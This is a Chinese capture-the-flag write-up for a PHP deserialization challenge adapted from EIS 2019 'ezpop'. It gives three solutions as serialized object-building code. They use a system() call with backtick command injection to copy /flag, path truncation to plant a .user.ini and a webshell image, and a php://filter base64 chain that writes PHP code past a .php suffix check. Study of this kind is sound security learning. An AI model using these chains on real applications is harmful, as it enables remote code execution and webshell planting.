0x 01 题目分析
题目改编自 EIS 2019 的 ezpop,与原题不同的是加了下面这个,对文件名有所控制。
1 2 3 4 5 6 7 8
| public function getCacheKey(string $name): string { // 使缓存文件名随机 $cache_filename = $this->options['prefix'] . uniqid() . $name; if(substr($cache_filename, -strlen('.php')) === '.php') { die('?'); } return $cache_filename; }
|
原题解题报告参考:https://www.jianshu.com/p/763427ea0e4b
0x 02 解题方法一
1 2 3 4 5 6 7 8 9 10 11 12
| $testB = new B(); $testB->options['prefix'] = 'abc'; $testB->options['serialize'] = 'system'; $testB->options['data_compress'] = false; $testB->options['expire'] = "aaa\n"; $testB->writeTimes = 0; $testA = new A($testB, "miao"); $testA->autosave = false; $testA->cache = ['aaq' => '`cat /flag > ./flag.php`']; $testA->complete = true;
echo urlencode(serialize($testA))."\n";
|
这里$serizlize
是可控的,$data
会被转换成json,利用system执行命令,最后相当于执行
1
| "[{"aaq":"`cat \/flag > .\/flag.php`"},true]"
|
在shell里面,的优先级是高于”的,所以会先执行cat /flag > ./flag.php
然后再将执行结果拼接成一个新的命令,参考 https://www.anquanke.com/post/id/194036
0x 03 解题方法二
对于前面的随机值,使用/../即可截断,后面即可追加写任意文件。
于是先写一个 .user.ini,然后写一个 .jpg 里面带马,使其追加到其他 php 后面作为 php 执行即可。
参见 http://althims.com/2020/01/29/buu-new-year/
0x 04 解题方法三
对于尾部 .php 的限制,可使用追加 /. 来绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13
| $testB = new B(); $testA = new A($testB, $key = '/../miao1.php/.'); $testA->complete = true; $testA->autosave = false; // <?php phpinfo();?\> $testA->cache = array("PD9waHAgcGhwaW5mbygpOz8+"=>""); $testB->options['prefix'] = 'php://filter/write=string.strip_tags|convert.base64-decode/resource='; $testB->options['serialize'] = 'strval'; $testB->options['data_compress'] = false; $testB->options['expire'] = "aaa\n"; $testB->writeTimes = 0;
echo urlencode(serialize($testA))."\n";
|